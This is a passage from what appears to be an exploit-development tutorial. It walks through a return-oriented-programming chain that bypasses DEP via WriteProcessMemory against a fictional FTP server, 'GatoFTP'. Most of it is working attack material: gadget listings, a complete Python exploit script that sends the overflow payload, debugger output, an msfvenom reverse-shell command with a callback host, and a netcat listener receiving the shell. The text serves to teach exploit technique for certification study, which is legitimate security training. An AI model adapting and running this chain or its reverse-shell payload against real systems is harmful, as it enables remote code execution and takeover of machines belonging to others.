  • you wanted mov eax, ebp ; ret, to grab the stack pointer directly. The dump has one, byte-dead, final. The lea gadget computes ebp-4, and arithmetic makes up the missing 4. You rarely need the exact instruction; you need its result.
  • you wanted to pop 0x100 into a register. Impossible, not because pop gadgets are missing but because the constant carries a null. Don’t pop it, build it: pop ~0x100, move it into EAX, neg turns it into 0x101, the glued dec lands on 0x100. The obstacle was the bytes, not the gadget.
  • you wanted a register moved with no junk attached. Ask ropfilter to synthesize what the dump refuses to do in one gadget:
$ ropfilter --safe-enable --addr-no-bytes 0x00,0x0a,0x0d -f squeaker_rop.txt --reg2reg 'esi->eax' --chain --chain-max-steps 2
[chain] synthesized candidate chains (best first):
0x6b711437 -> 0x6b711b28
mov ecx, esi ; ret  ->  mov eax, ecx ; ret

Route through a middle register. That pair, ESI to ECX to EAX, is exactly the two hops step 7 uses by hand when it needs EAX loaded without disturbing the copy parked in ESI.

  • the writer only writes [eax+0x04]. Then aim at target minus 4. If some dump gives you only [eax+0x40], aim at target minus 0x40; one subtract per write, provided your arithmetic can produce the offset without bad bytes.
  • nothing anywhere. Deepen rp++ to -r 7, sweep the other clean modules, and if the hole persists, restructure the target instead of the chain: pick .data addresses one add away, pick a different cave, or switch technique entirely.

The dump is a menu, not a wish list; every chain is built out of what’s actually on it. If you start from the goal, this is the cheat sheet:

you want to… but the dump gives you… move
load a constant no clean pop reg ; ret build it with ~value, neg, dec, or two hops
move a register only movers with junk pops feed filler for the pops, or chain two movs
write memory only [reg+disp], not [reg] aim at target minus disp
add or subtract no clean constant split the add, or use a negative addend
capture ESP no mov eax, esp use mov ebp, esp or a push esp gadget
pivot xchg eax, esp with junk audit the junk, feed it, or find another pivot
call an API no call gadget fake call frame + ret
use an address it contains a bad byte clean neighbor + inc/add, or another instance
find any gadget nothing anywhere widen rp++, another module, another technique

And if you start from the dump, this is the verdict table:

what you found verdict the move
junk after the useful part payable feed junk dwords, count them in the script
ret N at the end payable design the dead zone around the skip
harmless reads / dead-register clobbers in the tail payable after audit verify each in WinDbg, note it in the comment
side-effect write to live memory conditional fine only if provably dead until your last gadget
a call, conditional jump, pushad, int3 no-go keep walking the dump
clobbers a register you’re keeping alive no-go as ordered reorder the chain, or another instance
perfect gadget, dead address dead to you another instance, or another route to the result
nothing at all synthesize two-hop chains, arithmetic, other modules, other techniques
tip

The dump is a menu, not a wish list. If the exact gadget is missing, synthesize the result from two hops or different arithmetic.

step 7: the chain

OK, so the problem is this: we need a function call with five arguments, and a rop chain can only return.

The trick is to build the call frame on the stack ahead of time, as data at the start of the packet. Then pivot ESP onto it. One last ret becomes the call: it pops the api address into eip while ESP points exactly where a called function expects its arguments.

That’s the whole trick. The rest is plumbing.

This is where the whole thread meets: the badchars from step 1-2 constrain every address, the module and IAT from step 4 supply the stable pointers, and the gadgets from steps 5 and 6 do the arithmetic. If a number below looks arbitrary, it usually comes from one of those earlier steps.

The packet, end to end, before any of it makes sense:

 packet    length   what lands there                                 names
 offset
 --------- -------- ------------------------------------------------ ------------------
 0x000     0x2C     the wpm skeleton: seven dwords of call frame    S
 0x02C     0x1D4    filler 'A's
 0x200     0x04     the capture gadget address                      overwrites saved eip
 0x204     0x114    the chain itself: sections 1 to 6               R = S+0x204
 0x318     0xEC     filler 'D's
 0x404     ...      the body: int3+nops now, shellcode later        'source', R+0x200

With the debugger body that’s 1284 bytes; with the real 351-byte body, 1379. Both fit the 1400-byte line budget.

The landmarks:

name value note
S start of our packet on the stack moves per connection, never hardcoded
R S+0x204 esp when the first gadget starts
source R+0x200 = packet offset 0x404 where the shellcode bytes sit
cave 0x6B712CA0 copy destination, return address
CONT 0x6B715540 writable .data, the continuation frame

the skeleton

Seven dwords at the very start of the packet, three of them lies:

wpm  = pack("<L", 0x43434343)  # [S+0x00] api address, patched from the IAT
wpm += pack("<L", 0x6B712CA0)  # [S+0x04] return address: the cave
wpm += pack("<L", 0xFFFFFFFF)  # [S+0x08] hProcess = -1
wpm += pack("<L", 0x6B712CA0)  # [S+0x0C] lpBaseAddress = cave
wpm += pack("<L", 0x41414141)  # [S+0x10] lpBuffer, patched to source
wpm += pack("<L", 0x42424242)  # [S+0x14] nSize, patched to length
wpm += pack("<L", 0x6B715330)  # [S+0x18] lpNumberOfBytesWritten
wpm += b"B" * 0x10             # slack

Before dissecting it, here is what honest code would do, and what the skeleton impersonates:

; the call the chain spends 69 dwords faking:
        push    NWR                 ; lpNumberOfBytesWritten
        push    0x100               ; nSize
        push    source              ; lpBuffer, the body still sitting on the stack
        push    CAVE                ; lpBaseAddress
        push    -1                  ; hProcess, the pseudo-handle
        call    WriteProcessMemory  ; stdcall: the callee ret 0x14's the stack clean
; we cannot push and we cannot call. we plant the same frame as data at S,
; and the pivot's ret does the calling: it pops the api address into eip
; with esp already sitting on the return address, exactly where call left it.

0xFFFFFFFF is the pseudo-handle for the current process: valid everywhere, no lookup required, and WriteProcessMemory accepts it for writing into yourself.

Now the part people miss: a normal call pushes a return address automatically. Our pivot is a ret, not a call, so nobody pushed one. [S+0x04] is that missing return address, and we have to write it ourselves. It is not an argument to WPM; it is the dword WPM’s own ret pops when it finishes. Set it to the cave, and WPM returns into the body it just copied.

Why do lpBuffer and nSize need runtime patching at all? The source address depends on R, which moves per connection, so it cannot be typed in advance. nSize could be typed, 0x100, except that 00 01 00 00 carries nulls. Both fields are therefore placeholders the chain fills in itself.

capture

EIP lands on the capture gadget after 512 bytes of filler:

eip  = pack("<L", 0x6B7117B4)  # mov ebp, esp ; pop eax ; pop ecx ; dec eax ; ret
rop += pack("<L", 0x42424242)  # junk for pop eax
rop += pack("<L", 0x42424242)  # junk for pop ecx

From here on, every stack address the chain needs is derived from EBP, and the packet stays free of stack addresses. This is what makes the exploit indifferent to where the thread’s stack happens to be.

the source pointer

We need the address of the shellcode bytes, which sit at a known displacement from R. No usable mov eax, ebp exists, so the lea gadget computes ebp-4 (writing the seh head as a side effect, audited in step 6), and two adds make up the rest of the 0x204:

rop += pack("<L", 0x6B7112F1)  # lea eax, [ebp-4] ; mov fs:[0], eax ; ret
rop += pack("<L", 0x6B71193C)  # pop ecx ; ret
rop += pack("<L", 0x03030102)  # ECX = 0x03030102
rop += pack("<L", 0x6B7117A5)  # add eax, ecx ; ret
rop += pack("<L", 0x6B71193C)  # pop ecx ; ret
rop += pack("<L", 0xFCFD0102)  # ECX = 0xFCFD0102
rop += pack("<L", 0x6B7117A5)  # add eax, ecx ; ret -- EAX = source

0x03030102 + 0xFCFD0102 = 0x204, engineered so the low halves sum without a carry and the high halves sum to exactly 0x10000, overflowing to zero. Both constants are clean of our three bad characters, which a single literal 0x204 would not be (02 02 00 00).

The result parks in ESI via the xchg gadget (one junk dword for its pop ebp), where it survives everything the next section does to EAX.

patching lpBuffer

The only writer in the dump writes [eax+0x04], so to patch [S+0x10] we aim EAX at S+0x0C. The source is S+0x404, so subtracting 0x3F8 gets there, and 0xFFFFFC08 is -0x3F8 with clean bytes:

rop += pack("<L", 0x6B711437)  # mov ecx, esi ; ret -- ECX = source
rop += pack("<L", 0x6B711B28)  # mov eax, ecx ; ret -- EAX = source
rop += pack("<L", 0x6B71193C)  # pop ecx ; ret
rop += pack("<L", 0xFFFFFC08)  # ECX = -0x3F8
rop += pack("<L", 0x6B7117A5)  # add eax, ecx ; ret -- EAX = S+0x0C
rop += pack("<L", 0x6B711437)  # mov ecx, esi ; ret -- ECX = source
rop += pack("<L", 0x6B7115B3)  # mov [eax+4], ecx ; ret -- [S+0x10] = source

The ESI-through-ECX two-hop at the top is the ropfilter --chain pair from step 6 in the flesh: EAX gets loaded without disturbing ESI.

patching nSize

EAX must move from S+0x0C to S+0x10, and the writer’s +4 displacement decides how. Four inc eax gadgets, one byte at a time: no add gadget can add 4 without a register carrying 4 first, and the pop-constant route through ECX costs the same in dwords.

Then the constant problem from step 6. For the 256-byte debug body, ~0x100 goes in, neg turns it into 0x101, and the glued dec lands on 0x100:

rop += pack("<L", 0x6B711D77)  # inc eax ; ret -- S+0x0D
rop += pack("<L", 0x6B711D77)  # inc eax ; ret -- S+0x0E
rop += pack("<L", 0x6B711D77)  # inc eax ; ret -- S+0x0F
rop += pack("<L", 0x6B711D77)  # inc eax ; ret -- S+0x10
rop += pack("<L", 0x6B711C69)  # xchg eax, esi ; pop ebp ; ret -- stash S+0x10
rop += pack("<L", 0x42424242)  # junk for pop ebp
rop += pack("<L", 0x6B71193C)  # pop ecx ; ret
rop += pack("<L", 0xFFFFFEFF)  # ECX = ~0x100
rop += pack("<L", 0x6B711B28)  # mov eax, ecx ; ret
rop += pack("<L", 0x6B7116EA)  # neg eax ; dec eax ; pop ebp ; ret -- EAX = 0x100
rop += pack("<L", 0x42424242)  # junk for pop ebp
rop += pack("<L", 0x6B711C69)  # xchg eax, esi ; pop ebp ; ret -- EAX = S+0x10
rop += pack("<L", 0x42424242)  # junk for pop ebp
rop += pack("<L", 0x6B711437)  # mov ecx, esi ; ret -- ECX = 0x100
rop += pack("<L", 0x6B7115B3)  # mov [eax+4], ecx ; ret -- [S+0x14] = 0x100

The xchg pair around the neg is the register-juggling tax: the neg gadget clobbers EAX, but EAX has to still hold S+0x10 for the write. So the aiming address is stashed in ESI, the value is built in EAX, and the second xchg trades them back.

This is the one dword in the whole chain that depends on the body length. In the walkthrough I write 0xFFFFFEFF because the debug body is 256 bytes. In the final script it is ~len(shellcode) & 0xffffffff, so the real 351-byte body becomes 0xFFFFFEA0, which is ~0x15F, on its own.

the lifeline

ESI takes over as the keeper of the skeleton address, and nothing is allowed to touch it from here to the end:

rop += pack("<L", 0x6B71193C)  # pop ecx ; ret
rop += pack("<L", 0xFFFFFFF0)  # ECX = -0x10
rop += pack("<L", 0x6B7117A5)  # add eax, ecx ; ret -- EAX = S
rop += pack("<L", 0x6B711C69)  # xchg eax, esi ; pop ebp ; ret -- ESI = S
rop += pack("<L", 0x42424242)  # junk for pop ebp

the continuation frame

After the IAT read (next section), the super gadget switches ESP from the stack to a frame in writable .data, and the chain’s final moves have to execute from there. That frame is six dwords, five of them written by the chain, laid out to satisfy both the ret 0x12 skip and the first gadget’s own pop ebp:

CONT+0x00   XCHGW   xchg [ecx],eax ; pop ebp ; ret   writes [S] = api pointer
CONT+0x04   0x12 bytes of dead zone, skipped by ret 0x12
CONT+0x16   junk    eaten by XCHGW's pop ebp
CONT+0x1A   MOVCS   ecx = esi = S
CONT+0x1E   MOVAC   eax = S
CONT+0x22   PIVOT   xchg eax, esp ; ... ; ret      the call

The frame is written with five repetitions of pop2dec + writer, the pairing from step 6 where the dragged pop earns its keep:

rop += pack("<L", 0x6B711A79)  # pop eax ; pop ecx ; dec eax ; ret
rop += pack("<L", 0x6B71553D)  # EAX = CONT-3
rop += pack("<L", 0x6B7119F5)  # ECX = XCHGW gadget
rop += pack("<L", 0x6B7115B3)  # mov [eax+4], ecx ; ret -- [CONT] = XCHGW

First pop aims (target minus three, so the glued dec lands on target minus four), second pop delivers, writer writes [eax+4] on the exact target. Four more of these fill the junk slot and the three remaining gadgets at +0x1A, +0x1E, +0x22; the full listing below has every dword.

Where does the frame live? I scouted .data in WinDbg for a zone that reads as zeros and stays zeros across runs:

0:000> dd 6b715540 L4
6b715540  00000000 00000000 00000000 00000000

Squeaker’s own usage ends well below; 0x6B715540 and 0x6B715330 are squatter’s addresses. Verify the protection is PAGE_READWRITE and nobody writes there between connections, and it’s yours.

Why .data at all, instead of building the frame on the stack next to everything else? Because writing it means typing the write targets into the packet, and stack addresses are the one thing this chain refuses to know in advance. .data in a non-rebased module is the only place whose addresses you’re allowed to hardcode.

reading the api out of the iat

The null-byte slot from step 4, approached by its clean neighbor and four increments:

rop += pack("<L", 0x6B71193C)  # pop ecx ; ret -- &VirtualProtect slot
rop += pack("<L", 0x6B7143FC)  # clean VP IAT slot
rop += pack("<L", 0x6B711B28)  # mov eax, ecx ; ret -- EAX = slot
rop += pack("<L", 0x6B711D77)  # inc eax ; ret -- 0x6B7143FD
rop += pack("<L", 0x6B711D77)  # inc eax ; ret -- 0x6B7143FE
rop += pack("<L", 0x6B711D77)  # inc eax ; ret -- 0x6B7143FF
rop += pack("<L", 0x6B711D77)  # inc eax ; ret -- 0x6B714400
rop += pack("<L", 0x6B711437)  # mov ecx, esi ; ret -- ECX = S
rop += pack("<L", 0x6B7118F2)  # pop ebp ; ret
rop += pack("<L", 0x6B715540)  # EBP = CONT
rop += pack("<L", 0x6B7112C4)  # mov eax,[eax] ; mov esp,ebp ; ret 0x12 -- deref + pivot

The super gadget does three jobs in one breath: mov eax, [eax] loads the live WriteProcessMemory address out of the slot; mov esp, ebp moves execution onto the .data frame; ret 0x12 pops the frame’s first entry into eip (the xchg-write gadget) and hops the 18-byte dead zone.

The resumed frame then does the last four moves, in order. Xchg-write swaps the api pointer into [S]; ESI’s value in ECX is the target, the lifeline paying off. mov ecx, esi restores ECX = S.

mov eax, ecx loads the skeleton address. The pivot’s xchg eax, esp puts ESP onto the skeleton, so its ret pops [S], the api address, and the call begins with ESP pointing exactly at the return address and the five arguments.

The pivot gadget is also the star of step 6’s junk audit: after the xchg it carries ror bl, 0xc7, a cmp byte ptr [esi+0x18], dl that reads the lpNumberOfBytesWritten field through the lifeline, and a mov eax, 0x6b715634 that clobbers an already-dead register. Two harmless reads and a dead-register clobber, verified harmless, not assumed.

the whole thing

The final script is below. No modes, no helper functions, no pattern code. It builds the packet, checks the layout, and sends it.

The only line you change between the debug run and the real run is shellcode; nSize follows from its length.

#!/usr/bin/env python3
"""GatoFTP 1.3.7 (fictional): dep bypass via WriteProcessMemory."""
import socket
import sys
from struct import pack

HOST = sys.argv[1] if len(sys.argv) > 1 else "10.10.10.15"
PORT = 2121
OFFSET = 512
SRC_DISP = 0x200
BADCHARS = {0x00, 0x0a, 0x0d}

shellcode = b"\xcc" + b"\x90" * 255  # debug trap; swap for msfvenom output

# WriteProcessMemory frame: target, return, five arguments.
wpm = pack("<L", 0x43434343)         # [S+0x00] patched with live WPM
wpm += pack("<L", 0x6B712CA0)        # [S+0x04] return to the cave
wpm += pack("<L", 0xFFFFFFFF)        # [S+0x08] hProcess = -1
wpm += pack("<L", 0x6B712CA0)        # [S+0x0C] lpBaseAddress = cave
wpm += pack("<L", 0x41414141)        # [S+0x10] lpBuffer, patched
wpm += pack("<L", 0x42424242)        # [S+0x14] nSize, patched
wpm += pack("<L", 0x6B715330)        # [S+0x18] lpNumberOfBytesWritten
wpm += b"B" * 0x10                   # slack

# Capture ESP in EBP; R = S + 0x204.
eip = pack("<L", 0x6B7117B4)         # mov ebp,esp ; pop eax ; pop ecx ; dec eax ; ret
rop = pack("<L", 0x42424242) * 2     # junk for its two pops

# source = R + 0x200.
rop += pack("<L", 0x6B7112F1)        # lea eax,[ebp-4] ; mov fs:[0],eax ; ret
rop += pack("<L", 0x6B71193C)        # pop ecx ; ret
rop += pack("<L", 0x03030102)
rop += pack("<L", 0x6B7117A5)        # add eax,ecx ; ret
rop += pack("<L", 0x6B71193C)        # pop ecx ; ret
rop += pack("<L", 0xFCFD0102)        # the pair sums to 0x204
rop += pack("<L", 0x6B7117A5)        # add eax,ecx ; ret -- EAX = source
rop += pack("<L", 0x6B711C69)        # xchg eax,esi ; pop ebp ; ret -- stash source
rop += pack("<L", 0x42424242)

# [S+0x10] = source. Writer is [eax+4], so aim at S+0x0C.
rop += pack("<L", 0x6B711437)        # mov ecx,esi ; ret
rop += pack("<L", 0x6B711B28)        # mov eax,ecx ; ret
rop += pack("<L", 0x6B71193C)        # pop ecx ; ret
rop += pack("<L", 0xFFFFFC08)        # -0x3F8
rop += pack("<L", 0x6B7117A5)        # add eax,ecx ; ret -- EAX = S+0x0C
rop += pack("<L", 0x6B711437)        # mov ecx,esi ; ret
rop += pack("<L", 0x6B7115B3)        # mov [eax+4],ecx ; ret -- [S+0x10] = source

# [S+0x14] = nSize.
rop += pack("<L", 0x6B711D77) * 4    # inc eax ; ret -- 4x
rop += pack("<L", 0x6B711C69)        # xchg eax,esi ; pop ebp ; ret
rop += pack("<L", 0x42424242)
rop += pack("<L", 0x6B71193C)        # pop ecx ; ret
rop += pack("<L", (~len(shellcode)) & 0xFFFFFFFF)  # ~nSize
rop += pack("<L", 0x6B711B28)        # mov eax,ecx ; ret
rop += pack("<L", 0x6B7116EA)        # neg eax ; dec eax ; pop ebp ; ret
rop += pack("<L", 0x42424242)
rop += pack("<L", 0x6B711C69)        # xchg eax,esi ; pop ebp ; ret
rop += pack("<L", 0x42424242)
rop += pack("<L", 0x6B711437)        # mov ecx,esi ; ret
rop += pack("<L", 0x6B7115B3)        # mov [eax+4],ecx ; ret -- [S+0x14] = nSize

# ESI = S.
rop += pack("<L", 0x6B71193C)        # pop ecx ; ret
rop += pack("<L", 0xFFFFFFF0)        # -0x10
rop += pack("<L", 0x6B7117A5)        # add eax,ecx ; ret -- EAX = S
rop += pack("<L", 0x6B711C69)        # xchg eax,esi ; pop ebp ; ret -- ESI = S
rop += pack("<L", 0x42424242)

# Continuation frame at CONT = 0x6B715540.
rop += pack("<L", 0x6B711A79)        # pop eax ; pop ecx ; dec eax ; ret
rop += pack("<L", 0x6B71553D)        # CONT-3
rop += pack("<L", 0x6B7119F5)        # value: xchg [ecx],eax ; pop ebp ; ret
rop += pack("<L", 0x6B7115B3)        # [CONT] = 0x6B7119F5

rop += pack("<L", 0x6B711A79)
rop += pack("<L", 0x6B715553)        # CONT+0x16-3
rop += pack("<L", 0x42424242)        # [CONT+0x16] = junk
rop += pack("<L", 0x6B7115B3)

rop += pack("<L", 0x6B711A79)
rop += pack("<L", 0x6B715557)        # CONT+0x1A-3
rop += pack("<L", 0x6B711437)        # [CONT+0x1A] = mov ecx,esi ; ret
rop += pack("<L", 0x6B7115B3)

rop += pack("<L", 0x6B711A79)
rop += pack("<L", 0x6B71555B)        # CONT+0x1E-3
rop += pack("<L", 0x6B711B28)        # [CONT+0x1E] = mov eax,ecx ; ret
rop += pack("<L", 0x6B7115B3)

rop += pack("<L", 0x6B711A79)
rop += pack("<L", 0x6B71555F)        # CONT+0x22-3
rop += pack("<L", 0x6B711E33)        # [CONT+0x22] = pivot
rop += pack("<L", 0x6B7115B3)

# Resolve WPM from the clean VirtualProtect IAT slot.
rop += pack("<L", 0x6B71193C)        # pop ecx ; ret
rop += pack("<L", 0x6B7143FC)        # clean VP slot
rop += pack("<L", 0x6B711B28)        # mov eax,ecx ; ret
rop += pack("<L", 0x6B711D77) * 4    # inc eax ; ret -- walk to WPM slot
rop += pack("<L", 0x6B711437)        # mov ecx,esi ; ret -- ECX = S
rop += pack("<L", 0x6B7118F2)        # pop ebp ; ret
rop += pack("<L", 0x6B715540)        # EBP = CONT
rop += pack("<L", 0x6B7112C4)        # mov eax,[eax] ; mov esp,ebp ; ret 0x12

assert len(rop) <= SRC_DISP
payload = (wpm
           + b"A" * (OFFSET - len(wpm))
           + eip
           + rop
           + b"D" * (SRC_DISP - len(rop))
           + shellcode)
assert len(payload) <= 1400
assert not set(payload) & BADCHARS

print("wpm frame: %d bytes, eip at %d, rop: %d bytes"
      % (len(wpm), OFFSET, len(rop)))
print("source at packet offset 0x%X, body: %d bytes"
      % (OFFSET + 4 + SRC_DISP, len(shellcode)))
print("packet: %d bytes, badchar scan clean" % len(payload))

try:
    with socket.create_connection((HOST, PORT), timeout=5) as s:
        s.recv(1024)
        s.sendall(b"USER " + payload + b"\r\n")
    print("sent to %s:%d" % (HOST, PORT))
except socket.error:
    print("could not connect to %s:%d" % (HOST, PORT))

It prints the layout before the socket:

$ python3 gatofp_wpm_rop.py
wpm frame: 44 bytes, eip at 512, rop: 276 bytes
source at packet offset 0x404, body: 256 bytes
packet: 1284 bytes, badchar scan clean
sent to 10.10.10.15:2121

The asserts run before the socket. If the layout is wrong, nothing leaves the box.

step 8: proving it

Alright, debugger payload first: the script as shipped carries 0xCC plus nops. Send it to the lab, WinDbg catches the trap:

0:000> g
(1a34.2b18): Break instruction exception - code 80000003 (first chance)
First-chance exceptions are reported before any exception handling in this application.
This application may be handling this exception automatically...
eax=00000001 ebx=0040a3f8 ecx=00000000 edx=00000000 esi=0019f400 edi=0019f3f4
eip=6b712ca0 esp=0019f424 ebp=42424242 iopl=0 nv up ei ng nz na pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
0:000> db 6b712ca0 L10
6b712ca0  cc 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0:000> dd 6b715330 L1
6b715330  00000100

EAX holds the api’s success value; EBP still holds the junk dword a pop ebp feeder ate a few gadgets ago, which is the kind of bookkeeping the chain leaves on the registers. The stdcall callee took the five arguments with it, which is why ESP rests at S+0x1C, right where the skeleton’s slack begins.

EIP is inside the cave. Before the copy it was solid 00 00 00 00 padding; now it reads cc 90 90 90..., our int3 followed by 255 nops. That int3 is the proof: it wasn’t there before.

The nops behind it and 0x00000100 in the written-counter dword make it airtight. 256 bytes were reported written, the api returned exactly into the cave, and execution is standing on our bytes. The whole chain is proven with zero shellcode in play.

tip

Prove the chain with the trap body first. If the int3 fires and the written counter matches, don’t change the layout when you swap in the real payload.

note

Do you need to do anything extra for the shellcode? No. The body travels as cargo: nothing executes it on the stack, and WriteProcessMemory only reads from there. dep has opinions about executing data, none about reading it.

Three things to mind. Its bytes travel raw, so they must dodge the badchars, which is msfvenom’s -b. It has to sit exactly where lpBuffer points, which the script’s layout does for you as long as you replace the shellcode constant. And nSize9 has to cover it, which the script computes from len(shellcode).

The real body, 351 bytes of it:

$ msfvenom -p win/x86/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 EXITFUNC=thread -b '\x00\x0a\x0d' -f python -v shellcode

EXITFUNC=thread because GatoFTP runs a thread per client: when the shell exits, its worker thread goes with it and the server keeps purring. Comment out the debug body, paste the real body into the shellcode constant, and fire. The script computes nSize as len(shellcode), so the 351-byte body gives the right value on its own:

$ python3 gatofp_wpm_rop.py 10.10.10.15
wpm frame: 44 bytes, eip at 512, rop: 276 bytes
source at packet offset 0x404, body: 351 bytes
packet: 1379 bytes, badchar scan clean
sent to 10.10.10.15:2121

The listener was already waiting:

$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.10.15] 49216
Microsoft win [Version 10.0.18363.1256]
(c) Microsoft Corporation. All rights reserved.

C:\GatoFTP>whoami
gatovm\cat
C:\GatoFTP>

That’s a shell. 🐚

DEP never complained once. It had nothing to complain about: we executed nothing we transmitted; we transmitted instructions for building one phone call, and the process made the call itself.

when it dies

Well, between attempts, restart the debugger session and the server; a lab you can’t reset is a lab you can’t trust. And when a run dies anyway:

symptom first check usual cause
no crash, connection just closes what length of line actually arrived a badchar ate the packet mid-flight
eip is pattern, but not where the pattern says dd esp at the crash offset drift: another code path, another buffer
chain dies at a gadget bp the gadget, u <addr> L3, count junk dwords wrong instance, uncounted junk, or memory disagrees with the listing
wpm entered, eax=0, cave untouched dd S L8 lpBuffer or nSize patch arithmetic
int3 fires, but dd NWR L1 shows less than the body len(shellcode) vs the bytes pasted the body got truncated on the way in
shell connects and immediately dies the body’s bytes encoder output carries a badchar; re-roll the key
delta variant jumps into random bytes the kernel32 build your delta came from lm vm kernel32, compare, recompute the delta

bottom line

The part worth keeping is the shape of the problem, not the exact dwords. If you understand why the frame is data and why the pivot turns ret into call, you can rebuild the same chain around VirtualProtect, CreateThread, or a different write primitive.

If you’re also prepping for OSED, build the debugger body first. The int3 proof is the difference between “my chain looks right” and “my chain runs”. Everything else is arithmetic and stubbornness.

  1. WriteProcessMemory is also what debuggers use to patch live code. Today we are the debugger, minus the badge. ↩

  2. no cats were harmed in the exploitation of this vulnerability, btw. 🐈 ↩

  3. not to be confused with Johnny depp. Same pronunciation, very different threat model. ↩

  4. ret-oriented programming. Not “randomly oriented programming”, although the first draft of my chain qualified. ↩

  5. a gadget is a short instruction sequence ending in ret. It is what the compiler left behind when it was not looking. Your brainpan will spend more time sorting junk pops than finding the perfect one. ↩

  6. we could also use other alternatives such as virtualalloc or virtualprotect. ↩

  7. a code cave is linker padding inside an executable section. It is the apartment at the end of the hallway that nobody rented. ↩

  8. kernel32 sometimes exports a stub that jumps to kernelbase. Think of it as a receptionist forwarding your call: same extension, different desk. ↩

  9. nSize is the byte count. The chain builds it from the shellcode length; 0x100 and 0x15F both pack with nulls. Forget it and your brainpan will hear about it in the debugger. ↩


Questions or feedback? Hit me up on Signal or mllamazares@proton.me.